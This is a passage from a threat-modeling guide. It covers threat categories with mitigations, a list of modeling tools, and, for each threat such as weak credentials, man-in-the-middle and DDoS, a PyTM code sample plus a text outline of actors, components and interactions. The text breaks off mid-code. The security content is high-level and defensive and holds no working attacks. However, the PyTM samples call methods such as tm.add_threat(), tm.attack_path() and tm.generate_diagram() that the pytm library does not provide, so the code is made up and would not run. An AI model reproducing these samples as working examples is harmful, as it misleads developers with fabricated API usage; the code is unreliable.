abnormal behavior. | | `Denial-of-Service (DoS)` | Distributed DoS (DDoS) attacks | Employ DDoS mitigation techniques, such as traffic filtering and load balancing. | | `System Configuration` | Misconfigured security settings | Apply secure configuration guidelines for all system components. | | `System Configuration` | Insecure default configurations | Change default settings and remove or disable unnecessary services. | | `Vulnerability Management` | Delayed patching of software | Establish a vulnerability management program with regular patching and updates. | | `Vulnerability Management` | Lack of vulnerability scanning | Conduct regular vulnerability scans and prioritize remediation. | | `Insider Threats` | Malicious or negligent insiders | Implement proper access controls, monitoring, and employee training programs. | | `Insider Threats` | Unauthorized data access or theft | Monitor and log user activities and implement data loss prevention mechanisms. | | `Physical Security` | Unauthorized physical access | Secure physical access to data centers, server rooms, and hardware components. | | `Physical Security` | Theft or destruction of hardware | Implement physical security controls, such as locks, surveillance systems, and backups. | | `Third-Party Dependencies` | Vulnerabilities in third-party components | Perform due diligence on third-party components, apply patches, and monitor security advisories. | | `Third-Party Dependencies` | Lack of oversight on third-party activities | Establish strong vendor management practices, including audits and security assessments. | ### Tools | Threat Category | Threat Description | |:---------------|:---------------------| | `Microsoft Threat Modeling Tool` | A free tool from Microsoft that helps in creating threat models for software systems. It provides a structured approach to identify, analyze, and mitigate potential threats. | | `OWASP Threat Dragon` | An open-source threat modeling tool that enables the creation of threat models using the STRIDE methodology. It provides an intuitive interface and supports collaboration among team members. | | `PyTM` |An open-source threat modeling tool specifically designed for web applications. It allows the modeling of various aspects of an application's architecture and helps in identifying potential threats. | | `ThreatModeler` | A commercial tool that offers a comprehensive platform for threat modeling. It provides a visual modeling interface, automated threat analysis, and integration with other security tools and frameworks. | | `IriusRisK` | A commercial tool that combines threat modeling with risk management. It supports multiple threat modeling methodologies, provides risk assessment capabilities, and offers integration with other tools and platforms. | | `TMT (Threat Modeling Tool)` | An open-source command-line tool developed by OWASP for threat modeling. It supports the STRIDE methodology and allows for the automation of threat modeling processes. | | `Secure Code Warrior` | While not a traditional threat modeling tool, it offers interactive training modules and challenges that can help developers understand and identify potential threats during the development process. | ## Threats ### Weak or stolen credentials #### **PyTM** This code creates a threat model using PyTM and represents the "Weak or Stolen Credentials" threat scenario. It includes actors such as "Attacker" and "Insider," a server representing the application server, and a datastore representing the user's data. The threat model defines the "Weak or Stolen Credentials" threat and includes attack paths such as "Password Guessing/Brute Force Attack," "Credential Theft," and "Insider Threat." It also defines the impact of these threats, such as unauthorized access to user data and data breaches. The code generates a threat model diagram in PNG format, named "weak_or_stolen_credentials_threat_model.png." ``` from pytm import TM, Server, Datastore, Actor # Create a new threat model tm = TM("Weak or Stolen Credentials Threat Model") # Create actors attacker = Actor("Attacker") insider = Actor("Insider") # Create server and datastore server = Server("Application Server") datastore = Datastore("User Datastore") # Define weak or stolen credentials threat tm.add_threat() tm.threat.name("Weak or Stolen Credentials") tm.threat.description("Threat of weak or stolen user credentials") # Define attack paths tm.attack_path(attacker, server, "Password Guessing/Brute Force Attack") tm.attack_path(attacker, server, "Credential Theft") tm.attack_path(insider, server, "Insider Threat") # Define impact tm.data_flow(server, datastore, "Unauthorized Access to User Data") tm.data_flow(server, datastore, "Data Breach and Exposure of Sensitive Information") # Generate the threat model diagram tm.generate_diagram("weak_or_stolen_credentials_threat_model.png") ``` #### **Microsoft Threat Model** ``` Threat Model Diagram for Weak or Stolen Credentials: Concepts: - Credentials: Usernames and passwords or other authentication tokens used for user authentication. - Weak Credentials: Easily guessable or commonly used credentials that can be easily exploited. - Stolen Credentials: Credentials obtained by unauthorized individuals through various means, such as phishing or data breaches. - Authentication Mechanisms: Methods used to verify user identities and grant access. - Unauthorized Access: Gaining access to a system or application without proper authorization. Users: 1. Attackers: - Threat: Exploitation of Weak or Stolen Credentials - Attempts to gain unauthorized access to the system by using weak or stolen credentials. 2. System Administrator: - Threat: Weak Credential Management - Fails to enforce strong password policies or implements weak authentication mechanisms. 3. User: - Threat: Credential Theft or Compromise - Falls victim to phishing attacks or unknowingly uses weak or easily guessable credentials. Components: 1. Authentication System: - Manages user authentication and access controls. - Data Flow: User authentication requests and verification. 2. Credential Storage: - Stores user credentials securely. - Data Flow: Storing and retrieving user credentials. 3. User Interface: - Provides a platform for user interaction and login. - Data Flow: User input of credentials and authentication responses. Interactions: 1. Attackers: - Utilizes brute-force techniques or exploits stolen credentials to gain unauthorized access to the system. - Attempts to access restricted resources or perform malicious activities. 2. System Administrator: - Implements weak password policies or authentication mechanisms that can be easily exploited. - Fails to enforce multi-factor authentication or regular password updates. 3. User: - Enters credentials during the login process, which are sent to the authentication system for verification. - May fall victim to phishing attacks, leading to the disclosure of their credentials. 4. Authentication System: - Verifies user credentials against stored values and grants access based on authentication policies. - Stores and retrieves user credentials securely. 5. Credential Storage: - Safely stores user credentials using appropriate encryption and hashing techniques. - Protects credentials from unauthorized access or disclosure. ``` ### Insecure authentication protocols #### **PyTM** This code creates a threat model using PyTM and represents the "Insecure Authentication Protocols" threat scenario. It includes actors such as "Attacker" and "User," a server representing the application server, and a datastore representing the user's data. The threat model defines the "Insecure Authentication Protocols" threat and includes attack paths such as "Eavesdropping" and "Man-in-the-Middle Attack." It also defines the impact of these threats, such as unauthorized access to user data and data breaches. The code generates a threat model diagram in PNG format, named "insecure_authentication_protocols_threat_model.png." ``` from pytm import TM, Server, Datastore, Actor # Create a new threat model tm = TM("Insecure Authentication Protocols Threat Model") # Create actors attacker = Actor("Attacker") user = Actor("User") # Create server and datastore server = Server("Application Server") datastore = Datastore("User Datastore") # Define insecure authentication protocols threat tm.add_threat() tm.threat.name("Insecure Authentication Protocols") tm.threat.description("Threat of using insecure authentication protocols") # Define attack paths tm.attack_path(attacker, server, "Eavesdropping") tm.attack_path(attacker, server, "Man-in-the-Middle Attack") # Define impact tm.data_flow(server, datastore, "Unauthorized Access to User Data") tm.data_flow(server, datastore, "Data Breach and Exposure of Sensitive Information") # Generate the threat model diagram tm.generate_diagram("insecure_authentication_protocols_threat_model.png") ``` #### **Microsoft Threat Model** ``` Threat Model Diagram for Insecure Authentication Protocols: Concepts: - Authentication Protocols: Standards or mechanisms used for verifying user identities during the authentication process. - Insecure Authentication Protocols: Protocols that are susceptible to security vulnerabilities or can be easily exploited. - Man-in-the-Middle (MitM) Attacks: Attacks where an attacker intercepts and modifies communication between two parties. - Unauthorized Access: Gaining access to a system or application without proper authorization. Users: 1. Attackers: - Threat: Exploitation of Insecure Authentication Protocols - Attempts to intercept or manipulate authentication traffic to gain unauthorized access. 2. System Administrator: - Threat: Configuration of Insecure Authentication Protocols - Misconfigures authentication protocols or fails to implement secure alternatives. 3. User: - Threat: Exposure of Credentials - Communicates with the system using insecure authentication protocols, which can lead to the exposure of credentials. Components: 1. Authentication System: - Manages user authentication and access controls. - Data Flow: User authentication requests and verification. 2. Authentication Protocol: - Specifies the rules and procedures for authenticating users. - Data Flow: Exchange of authentication messages between the user and the authentication system. 3. Attacker's System: - Represents the system used by attackers to intercept or manipulate authentication traffic. - Data Flow: Interception and modification of authentication messages. Interactions: 1. Attackers: - Exploits vulnerabilities in insecure authentication protocols to intercept or modify authentication messages. - Attempts to obtain user credentials or gain unauthorized access to the system. 2. System Administrator: - Misconfigures authentication protocols, such as using weak encryption or outdated protocols. - Fails to implement secure alternatives, such as using strong cryptographic algorithms or multi-factor authentication. 3. User: - Initiates the authentication process by sending authentication requests to the system. - Communicates with the system using insecure authentication protocols, which can be intercepted by attackers. 4. Authentication System: - Verifies user credentials and grants access based on the authentication protocol in use. - May be vulnerable to attacks if insecure authentication protocols are implemented or misconfigured. 5. Authentication Protocol: - Facilitates the exchange of authentication messages between the user and the authentication system. - Can be compromised if it is insecure or susceptible to attacks like Man-in-the-Middle. ``` ### Insufficient access controls #### **PyTM** This code creates a threat model using PyTM and represents the "Insufficient Access Controls" threat scenario. It includes actors such as "Attacker" and "User," a server representing the application server, and a datastore representing the sensitive data. The threat model defines the "Insufficient Access Controls" threat and includes attack paths such as "Unauthorized Access" by the attacker and "Privilege Escalation" by the user. It also defines the impact of these threats, such as unauthorized access to sensitive data and data leakage. The code generates a threat model diagram in PNG format, named "insufficient_access_controls_threat_model.png." ``` from pytm import TM, Actor, Server, Datastore # Create a new threat model tm = TM("Insufficient Access Controls Threat Model") # Create actors attacker = Actor("Attacker") user = Actor("User") # Create server and datastore server = Server("Application Server") datastore = Datastore("Sensitive Datastore") # Define insufficient access controls threat tm.add_threat() tm.threat.name("Insufficient Access Controls") tm.threat.description("Threat of insufficient access controls on sensitive data") # Define attack paths tm.attack_path(attacker, server, "Unauthorized Access") tm.attack_path(user, server, "Privilege Escalation") # Define impact tm.data_flow(server, datastore, "Unauthorized Access to Sensitive Data") tm.data_flow(server, datastore, "Data Leakage") # Generate the threat model diagram tm.generate_diagram("insufficient_access_controls_threat_model.png") ``` #### **Microsoft Threat Model** ``` Threat Model Diagram for Insufficient Access Controls: Concepts: - Access Controls: Mechanisms used to enforce authorized access to resources. - Insufficient Access Controls: Inadequate or misconfigured access controls that allow unauthorized access to resources. - Unauthorized Access: Gaining access to a resource without proper authorization. - Privilege Escalation: Exploiting vulnerabilities to gain higher levels of access privileges. Users: 1. Attackers: - Threat: Unauthorized Access or Privilege Escalation - Attempts to bypass or exploit insufficient access controls to gain unauthorized access to resources or escalate privileges. 2. System Administrator: - Threat: Misconfiguration of Access Controls - Misconfigures access control settings, allowing unauthorized access or granting excessive privileges. 3. User: - Threat: Unauthorized Access to Restricted Resources - Attempts to access resources they are not authorized to access due to insufficient access controls. Components: 1. Resource: - Represents a system or data that needs to be protected. - Data Flow: Access requests and responses. 2. Access Control Mechanisms: - Controls access to resources based on defined policies. - Data Flow: Authorization checks and access grants or denials. Interactions: 1. Attackers: - Exploits vulnerabilities or misconfigurations in access control mechanisms to gain unauthorized access. - May attempt privilege escalation to gain higher levels of access. 2. System Administrator: - Misconfigures access control settings, such as assigning incorrect permissions or not properly segregating access. - Fails to regularly review and update access control policies and configurations. 3. User: - Requests access to resources through the system. - May attempt to access restricted resources by bypassing or circumventing access controls. 4. Resource: - Contains sensitive data or functionality that needs to be protected. - Enforces access control policies to determine whether a user should be granted access. 5. Access Control Mechanisms: - Enforce access control policies and determine whether a user has sufficient privileges to access a resource. - May be misconfigured or contain vulnerabilities that can be exploited by attackers. ``` ### Improper privilege escalation #### **PyTM** This code creates a threat model using PyTM and represents the "Improper Privilege Escalation" threat scenario. It includes actors such as "Attacker" and "User" and a server representing the application server. The threat model defines the "Improper Privilege Escalation" threat and includes attack paths such as "Exploiting Vulnerability" by the attacker and "Abusing User Privileges" by the user. The code generates a threat model diagram in PNG format, named "improper_privilege_escalation_threat_model.png." ``` from pytm import TM, Actor, Server # Create a new threat model tm = TM("Improper Privilege Escalation Threat Model") # Create actors attacker = Actor("Attacker") user = Actor("User") # Create server server = Server("Application Server") # Define improper privilege escalation threat tm.add_threat() tm.threat.name("Improper Privilege Escalation") tm.threat.description("Threat of improper privilege escalation in the application") # Define attack paths tm.attack_path(attacker, server, "Exploiting Vulnerability") tm.attack_path(user, server, "Abusing User Privileges") # Generate the threat model diagram tm.generate_diagram("improper_privilege_escalation_threat_model.png") ``` #### **Microsoft Threat Model** ``` Threat Model Diagram for Improper Privilege Escalation: Concepts: - Privilege Escalation: Unauthorized elevation of access privileges to perform actions beyond the authorized scope. - Authorization Levels: Different levels of access privileges granted to users or roles. - Insufficient Privilege Checks: Inadequate validation of user permissions when executing privileged actions. - Unauthorized Actions: Performing actions that are not authorized or exceeding the granted privileges. Users: 1. Attackers: - Threat: Unauthorized Privilege Escalation - Attempts to exploit vulnerabilities to gain higher levels of access privileges and perform unauthorized actions. 2. System Administrator: - Threat: Misconfiguration of Privilege Levels - Misconfigures access controls or fails to properly assign and manage privilege levels. 3. User: - Threat: Unauthorized Access to Privileged Actions - Attempts to perform actions beyond their authorized scope by exploiting privilege escalation vulnerabilities. Components: 1. User Roles: - Represent different roles or user groups with distinct privilege levels. - Data Flow: Assignment of roles and associated permissions. 2. Privilege Validation: - Validates user permissions before executing privileged actions. - Data Flow: User permissions check and authorization decision. Interactions: 1. Attackers: - Exploits vulnerabilities or weaknesses to gain higher levels of access privileges. - Performs unauthorized actions by bypassing or manipulating privilege validation mechanisms. 2. System Administrator: - Misconfigures privilege levels, granting excessive permissions or failing to properly assign roles. - Fails to implement proper privilege validation mechanisms or neglects regular review and updates. 3. User: - Requests to perform actions within their authorized privileges. - May attempt to escalate privileges by exploiting vulnerabilities in the system. 4. User Roles: - Define the access privileges associated with different user groups or roles. - Assigns and manages roles based on user responsibilities and organizational policies. 5. Privilege Validation: - Validates user permissions before allowing execution of privileged actions. - May have vulnerabilities or lack proper checks, enabling unauthorized privilege escalation. ``` ### Data leakage or unauthorized access #### **PyTM** This code creates a threat model using PyTM and represents the "Data Leakage or Unauthorized Access" threat scenario. It includes actors such as "Attacker" and "User" and a datastore representing sensitive data. The threat model defines the "Data Leakage or Unauthorized Access" threat and includes attack paths such as "Exploiting Vulnerability" by the attacker and "Unauthorized Access" by the user. The code generates a threat model diagram in PNG format, named "data_leakage_unauthorized_access_threat_model.png." ``` from pytm import TM, Actor, Datastore # Create a new threat model tm = TM("Data Leakage or Unauthorized Access Threat Model") # Create actors attacker = Actor("Attacker") user = Actor("User") # Create datastore datastore = Datastore("Sensitive Data") # Define data leakage or unauthorized access threat tm.add_threat() tm.threat.name("Data Leakage or Unauthorized Access") tm.threat.description("Threat of unauthorized access or leakage of sensitive data") # Define attack paths tm.attack_path(attacker, datastore, "Exploiting Vulnerability") tm.attack_path(user, datastore, "Unauthorized Access") # Generate the threat model diagram tm.generate_diagram("data_leakage_unauthorized_access_threat_model.png") ``` #### **Microsoft Threat Model** ``` Threat Model Diagram for Data Leakage or Unauthorized Access: Concepts: - Data Leakage: Unintentional or unauthorized disclosure of sensitive data to unauthorized parties. - Unauthorized Access: Gaining access to data or systems without proper authorization. - Data Encryption: Process of converting sensitive data into a format that is unreadable without the appropriate decryption key. - Data Loss Prevention (DLP): Techniques and controls implemented to prevent the leakage of sensitive data. Users: 1. Attackers: - Threat: Unauthorized Access or Data Leakage - Attempts to gain unauthorized access to sensitive data or exploit vulnerabilities to leak data. 2. System Administrator: - Threat: Misconfiguration of Access Controls or Encryption - Misconfigures access controls, leaving data vulnerable to unauthorized access. - Fails to implement or properly configure data encryption mechanisms. 3. User: - Threat: Accidental Data Leakage - Unintentionally exposes sensitive data through insecure practices or misconfigurations. Components: 1. Data Storage: - Represents storage systems or databases containing sensitive data. - Data Flow: Storage and retrieval of sensitive data. 2. Access Controls: - Mechanisms to control and enforce authorized access to data. - Data Flow: Authentication and authorization checks. 3. Data Encryption: - Techniques and algorithms used to protect sensitive data by encrypting it. - Data Flow: Encryption and decryption processes. 4. Data Loss Prevention (DLP): - Techniques and controls to prevent unauthorized data leakage. - Data Flow: Data leakage prevention measures and monitoring. Interactions: 1. Attackers: - Exploits vulnerabilities to gain unauthorized access to sensitive data. - May use various techniques to extract and exfiltrate the data without detection. 2. System Administrator: - Misconfigures access controls, granting unauthorized users access to sensitive data. - Fails to implement or properly configure data encryption, leaving data vulnerable to unauthorized access. 3. User: - May accidentally expose sensitive data through insecure practices, such as sharing or mishandling information. 4. Data Storage: - Stores sensitive data and requires robust access controls and encryption to protect it. - May be vulnerable to unauthorized access if misconfigured or lacking proper security measures. 5. Access Controls: - Enforces authorized access to data based on authentication and authorization checks. - Misconfigurations or vulnerabilities in access controls may result in unauthorized access. 6. Data Encryption: - Protects sensitive data by converting it into an unreadable format without the decryption key. - Proper implementation and configuration of encryption algorithms are necessary to safeguard the data. 7. Data Loss Prevention (DLP): - Implements techniques and controls to prevent unauthorized data leakage. - Monitors data flows and applies policies to detect and prevent potential data leakage incidents. ``` ### Insecure data storage #### **PyTM** This code creates a threat model using PyTM and represents the "Insecure Data Storage" threat scenario. It includes actors such as "Attacker" and "User" and a datastore representing sensitive data. The threat model defines the "Insecure Data Storage" threat and includes attack paths such as "Exploiting Storage Vulnerability" by the attacker and "Unauthorized Access to Stored Data" by the user. The code generates a threat model diagram in PNG format, named "insecure_data_storage_threat_model.png." ``` from pytm import TM, Actor, Datastore # Create a new threat model tm = TM("Insecure Data Storage Threat Model") # Create actors attacker = Actor("Attacker") user = Actor("User") # Create datastore datastore = Datastore("Sensitive Data") # Define insecure data storage threat tm.add_threat() tm.threat.name("Insecure Data Storage") tm.threat.description("Threat of insecure storage of sensitive data") # Define attack paths tm.attack_path(attacker, datastore, "Exploiting Storage Vulnerability") tm.attack_path(user, datastore, "Unauthorized Access to Stored Data") # Generate the threat model diagram tm.generate_diagram("insecure_data_storage_threat_model.png") ``` #### **Microsoft Threat Model** ``` Threat Model Diagram for Insecure Data Storage: Concepts: - Insecure Data Storage: Storing sensitive data in an unprotected or vulnerable manner. - Data Encryption: Process of converting sensitive data into a format that is unreadable without the appropriate decryption key. - Data Leakage: Unintentional or unauthorized disclosure of sensitive data. - Data Access Controls: Mechanisms used to control and enforce authorized access to data. Users: 1. Attackers: - Threat: Unauthorized Data Access or Data Leakage - Attempts to gain unauthorized access to sensitive data or exploit vulnerabilities to leak data. 2. System Administrator: - Threat: Misconfiguration of Data Storage Security - Misconfigures data storage settings, leaving sensitive data vulnerable to unauthorized access. - Fails to implement or properly configure data encryption mechanisms. 3. User: - Threat: Accidental Data Leakage - Unintentionally exposes sensitive data through insecure practices or misconfigurations. Components: 1. Data Storage: - Represents storage systems or databases where sensitive data is stored. - Data Flow: Storage and retrieval of sensitive data. 2. Data Encryption: - Techniques and algorithms used to protect sensitive data by encrypting it. - Data Flow: Encryption and decryption processes. 3. Data Access Controls: - Mechanisms used to control and enforce authorized access to data. - Data Flow: Authentication and authorization checks. Interactions: 1. Attackers: - Exploits vulnerabilities to gain unauthorized access to sensitive data. - May use various techniques to extract and exfiltrate the data without detection. 2. System Administrator: - Misconfigures data storage security settings, granting unauthorized users access to sensitive data. - Fails to implement or properly configure data encryption mechanisms, leaving data vulnerable to unauthorized access. 3. User: - May accidentally expose sensitive data through insecure practices, such as sharing or mishandling information. 4. Data Storage: - Stores sensitive data and requires robust security measures to protect it. - May be vulnerable to unauthorized access if misconfigured or lacking proper security controls. 5. Data Encryption: - Protects sensitive data by converting it into an unreadable format without the decryption key. - Proper implementation and configuration of encryption algorithms are necessary to safeguard the data. 6. Data Access Controls: - Enforces authorized access to data based on authentication and authorization checks. - Misconfigurations or vulnerabilities in access controls may result in unauthorized access. ``` ### Inadequate network segmentation #### **PyTM** This code creates a threat model using PyTM and represents the "Inadequate Network Segmentation" threat scenario. It includes actors such as "Attacker," "Internal User," and "External User," and defines boundaries for the internal and external networks. The threat model defines the "Inadequate Network Segmentation" threat and includes dataflows representing the flow of sensitive data, unauthorized access, exfiltration of sensitive data, and command and control. The code generates a threat model diagram in PNG format, named "inadequate_network_segmentation_threat_model.png." ``` from pytm import TM, Actor, Dataflow, Boundary # Create a new threat model tm = TM("Inadequate Network Segmentation Threat Model") # Create actors attacker = Actor("Attacker") internalUser = Actor("Internal User") externalUser = Actor("External User") # Create boundaries internalNetwork = Boundary("Internal Network") externalNetwork = Boundary("External Network") # Define dataflows dataflow1 = Dataflow(internalUser, internalNetwork, "Sensitive Data Flow") dataflow2 = Dataflow(externalUser, internalNetwork, "Unauthorized Access") dataflow3 = Dataflow(internalNetwork, externalNetwork, "Exfiltration of Sensitive Data") dataflow4 = Dataflow(internalNetwork, externalNetwork, "Command and Control") # Define inadequate network segmentation threat tm.add_threat() tm.threat.name("Inadequate Network Segmentation") tm.threat.description("Threat of inadequate segmentation between internal and external networks") # Define attack paths tm.attack_path(attacker, dataflow2, "Exploiting Insufficient Segmentation") tm.attack_path(attacker, dataflow3, "Exfiltration of Sensitive Data") tm.attack_path(attacker, dataflow4, "Command and Control") # Generate the threat model diagram tm.generate_diagram("inadequate_network_segmentation_threat_model.png") ``` #### **Microsoft Threat Model** ``` Threat Model Diagram for Inadequate Network Segmentation: Concepts: - Network Segmentation: Dividing a network into smaller, isolated segments to enhance security and control access. - Inadequate Network Segmentation: Insufficient or improper separation of network segments, allowing unauthorized access or lateral movement. - Network Firewall: A security device that monitors and filters network traffic based on predetermined security rules. - Data Flow: The movement of data between different network segments. Users: 1. Attackers: - Threat: Unauthorized Access or Lateral Movement - Attempts to gain unauthorized access to sensitive data or systems within different network segments. - Exploits weaknesses in network segmentation to move laterally and escalate privileges. 2. System Administrator: - Threat: Misconfiguration of Network Segmentation - Misconfigures network segmentation rules, allowing unauthorized access between network segments. - Fails to implement proper firewall rules to restrict network traffic. Components: 1. Network Segments: - Represents isolated network segments within the infrastructure. - Data Flow: Controlled exchange of data between segments. 2. Network Firewall: - Security device placed at the boundaries between network segments. - Controls inbound and outbound network traffic based on predetermined rules. - Data Flow: Filtering and routing of network traffic. Interactions: 1. Attackers: - Exploit weaknesses in network segmentation to gain unauthorized access to sensitive data or systems. - May attempt lateral movement within the network, exploiting inadequate segmentation. 2. System Administrator: - Misconfigures network segmentation rules, allowing unauthorized access between network segments. - Fails to properly configure firewall rules, resulting in ineffective traffic filtering and segmentation. 3. Network Segments: - Represent isolated segments within the network infrastructure. - Require proper configuration and segmentation rules to ensure authorized access and prevent unauthorized movement. 4. Network Firewall: - Controls the flow of network traffic between segments based on predefined security rules. - Misconfiguration or inadequate rule set may lead to unauthorized access or lateral movement. ``` ### Man-in-the-Middle attacks #### **PyTM** This code creates a threat model using PyTM and represents the "Man-in-the-Middle (MitM) Attacks" threat scenario. It includes actors such as "Attacker," "Client," and "Server," and defines boundaries for the client and server components. The threat model defines the "Man-in-the-Middle Attacks" threat and includes a dataflow representing the flow of sensitive data between the client and server. The code generates a threat model diagram in PNG format, named "man_in_the_middle_attacks_threat_model.png." ``` from pytm import TM, Actor, Dataflow, Boundary # Create a new threat model tm = TM("Man-in-the-Middle Attacks Threat Model") # Create actors attacker = Actor("Attacker") client = Actor("Client") server = Actor("Server") # Create boundaries clientBoundary = Boundary("Client Boundary") serverBoundary = Boundary("Server Boundary") # Define dataflows dataflow1 = Dataflow(client, server, "Sensitive Data Flow") # Define Man-in-the-Middle attack threat tm.add_threat() tm.threat.name("Man-in-the-Middle (MitM) Attacks") tm.threat.description("Threat of an attacker intercepting and tampering with communication between client and server") # Define attack paths tm.attack_path(attacker, dataflow1, "Intercepting and Tampering with Communication") # Generate the threat model diagram tm.generate_diagram("man_in_the_middle_attacks_threat_model.png") ``` #### **Microsoft Threat Model** ``` Threat Model Diagram for Man-in-the-Middle (MitM) Attacks: Concepts: - Man-in-the-Middle (MitM) Attack: A type of attack where an attacker intercepts communication between two parties to eavesdrop, modify, or inject malicious content. - Network Traffic Encryption: The process of encrypting network traffic to protect it from unauthorized interception or tampering. - Secure Communication Protocols: Protocols that provide secure and authenticated communication channels. - Data Flow: The exchange of data between communicating parties. Users: 1. Attackers: - Threat: Intercept and Manipulate Communication - Attempts to intercept network traffic between two parties and manipulate the data being transmitted. - Uses various techniques, such as ARP spoofing or DNS spoofing, to position themselves as a "man in the middle." 2. System Administrator: - Threat: Misconfiguration of Security Controls - Fails to properly configure network security controls, allowing attackers to exploit vulnerabilities and perform MitM attacks. - Does not enforce the use of secure communication protocols or encryption mechanisms. 3. Users: - Threat: Unencrypted Communication - Engage in communication without proper encryption or secure communication protocols. - May unknowingly connect to compromised networks or fall victim to MitM attacks. Components: 1. Communication Channel: - Represents the medium through which parties communicate, such as network connections or wireless networks. - Data Flow: Transmission of data between communicating parties. 2. Secure Communication Protocols: - Protocols that provide secure and authenticated communication channels, such as HTTPS, SSL/TLS, or VPN. - Data Flow: Encrypted transmission of data between parties. Interactions: 1. Attackers: - Position themselves as a "man in the middle" by intercepting and manipulating network traffic. - Exploit vulnerabilities in the communication channel or lack of encryption to eavesdrop, modify, or inject malicious content. 2. System Administrator: - Misconfigures network security controls, leaving communication channels vulnerable to MitM attacks. - Fails to enforce the use of secure communication protocols or encryption mechanisms. 3. Users: - Engage in communication without using secure communication protocols or encryption. - May unknowingly connect to compromised networks or fall victim to MitM attacks. 4. Communication Channel: - Represents the medium through which parties communicate. - Vulnerable to interception and manipulation by attackers positioned as a "man in the middle." 5. Secure Communication Protocols: - Provide secure and authenticated communication channels. - Encryption and proper configuration of these protocols protect against MitM attacks. ``` ### Resource exhaustion #### **PyTM** This code creates a threat model using PyTM and represents the "Resource Exhaustion" threat scenario. It includes actors such as "Attacker" and "Service" and defines a dataflow between them. The threat model defines the "Resource Exhaustion" threat and includes an attack path representing the attacker's ability to consume excessive resources, leading to service availability impact. The code generates a threat model diagram in PNG format, named "resource_exhaustion_threat_model.png." ``` from pytm import TM, Actor, Dataflow # Create a new threat model tm = TM("Resource Exhaustion Threat Model") # Create actors attacker = Actor("Attacker") service = Actor("Service") # Define dataflows dataflow = Dataflow(attacker, service, "Data Flow") # Define Resource Exhaustion threat tm.add_threat() tm.threat.name("Resource Exhaustion") tm.threat.description("Threat of an attacker consuming excessive resources and impacting service availability") # Define attack paths tm.attack_path(attacker, dataflow, "Excessive Resource Consumption") # Generate the threat model diagram tm.generate_diagram("resource_exhaustion_threat_model.png") ``` #### **Microsoft Threat Model** ``` Threat Model Diagram for Resource Exhaustion: Concepts: - Resource Exhaustion: A type of attack where an attacker consumes excessive resources, such as CPU, memory, disk space, or network bandwidth, leading to service disruption or denial of service. - System Resources: Refers to the various computing resources available within a system, including CPU, memory, disk space, and network bandwidth. - Resource Management: The process of efficiently allocating and managing system resources. - Data Flow: The movement of data or requests that require system resources. Users: 1. Attackers: - Threat: Resource Consumption - Attempt to consume excessive system resources to cause service disruption or denial of service. - Exploit vulnerabilities or design weaknesses to exhaust system resources. 2. System Administrators: - Threat: Inadequate Resource Management - Fail to implement proper resource management techniques, allowing attackers to consume resources beyond their normal limits. - Lack monitoring and control mechanisms to detect and mitigate resource exhaustion attacks. Components: 1. System Resources: - Represents the various computing resources within a system, including CPU, memory, disk space, and network bandwidth. - Data Flow: Requests or operations that require system resources. 2. Resource Management: - Techniques and mechanisms employed to efficiently allocate and manage system resources. - Data Flow: Allocation and utilization of system resources. Interactions: 1. Attackers: - Conduct resource exhaustion attacks by overwhelming system resources. - Exploit vulnerabilities or design weaknesses to maximize resource consumption. 2. System Administrators: - Implement resource management techniques to prevent resource exhaustion attacks. - Monitor resource usage and detect abnormal resource consumption patterns. 3. System Resources: - Available computing resources required for normal system operation. - Can be overwhelmed and exhausted by attackers consuming excessive resources. 4. Resource Management: - Controls and manages the allocation of system resources. - Ensures efficient utilization and prevents resource exhaustion. ``` ### Distributed DoS (DDoS) attacks #### **PyTM** This code creates a threat model using PyTM and represents the "Distributed Denial of Service (DDoS) Attacks" threat scenario. It includes actors such as "Attacker" and "Target" and defines a dataflow between them. The threat model defines the "DDoS Attacks" threat and includes an attack path representing the attacker overwhelming the target system with a high volume of requests, causing denial of service. The code generates a threat model diagram in PNG format, named "ddos_attacks_threat_model.png." ``` from pytm import TM, Actor, Dataflow # Create a new threat model tm = TM("DDoS Attacks Threat Model") # Create actors attacker = Actor("Attacker") target = Actor("Target") # Define dataflows dataflow = Dataflow(attacker, target, "Data Flow") # Define DDoS Attacks threat tm.add_threat() tm.threat.name("DDoS Attacks") tm.threat.description("Threat of an attacker overwhelming the target system with a high volume of requests, causing denial of service") # Define attack paths tm.attack_path(attacker, dataflow, "DDoS Attack") # Generate the threat model diagram tm.generate_diagram("ddos_attacks_threat_model.png") ``` #### **Microsoft Threat Model** ``` Threat Model Diagram for Distributed Denial of Service (DDoS) Attacks: Concepts: - Distributed Denial of Service (DDoS) Attack: A type of attack where multiple compromised systems, known as "botnets," flood a target system with a high volume of traffic or requests, overwhelming its resources and causing service disruption or denial of service. - Botnet: A network of compromised computers or devices under the control of an attacker, used to launch DDoS attacks. - Traffic Amplification: Techniques used by attackers to magnify the volume of traffic generated by each compromised system in the botnet. - Resource Consumption: The depletion of system resources, such as network bandwidth, CPU, memory, or storage, due to the high volume of incoming traffic or requests. Users: 1. Attackers: - Threat: DDoS Attack - Control a botnet comprising multiple compromised systems. - Coordinate the attack to flood the target system with a high volume of traffic or requests, causing service disruption or denial of service. - Use traffic amplification techniques to maximize the impact of the attack. 2. Target System: - Threat: Service Disruption or Denial of Service - Represents the system or service under attack. - Receives a massive influx of traffic or requests from the botnet, causing resource exhaustion and rendering the system inaccessible. Components: 1. Botnet: - Collection of compromised systems under the control of the attacker. - Data Flow: Communication and coordination between the attacker and compromised systems for launching the DDoS attack. 2. Traffic Amplification Techniques: - Methods used by attackers to increase the volume of traffic generated by each compromised system. - Data Flow: Manipulation of traffic to amplify its volume before being directed to the target system. 3. Target System: - Represents the system or service being targeted by the DDoS attack. - Data Flow: Incoming traffic or requests that overwhelm the system's resources. Interactions: 1. Attackers: - Control the botnet and orchestrate the DDoS attack. - Utilize traffic amplification techniques to maximize the impact of the attack. 2. Botnet: - Comprises compromised systems under the control of the attackers. - Executes instructions from the attackers to generate and direct a high volume of traffic or requests to the target system. 3. Traffic Amplification Techniques: - Used by attackers to increase the volume of traffic generated by each compromised system. - Amplify the traffic before it reaches the target system, magnifying the impact of the DDoS attack. 4. Target System: - Represents the system or service under attack. - Overwhelmed by the high volume of incoming traffic or requests, leading to resource exhaustion and service disruption or denial of service. ``` ### Misconfigured security settings #### **PyTM** This code creates a threat model using PyTM and represents the "Misconfigured Security Settings" threat scenario. It includes actors such as "Administrator" and "Attacker" and defines a dataflow between them. The threat model defines the "Misconfigured Security Settings" threat and describes the threat arising from misconfigured security settings, leading to vulnerabilities and potential unauthorized access. The code generates a threat model diagram in PNG format, named "misconfigured_security_settings_threat_model.png." ``` from pytm import TM, Actor, Dataflow # Create a new threat model tm = TM("Misconfigured Security Settings Threat Model") # Create actors administrator = Actor("Administrator") attacker = Actor("Attacker") # Define dataflows dataflow = 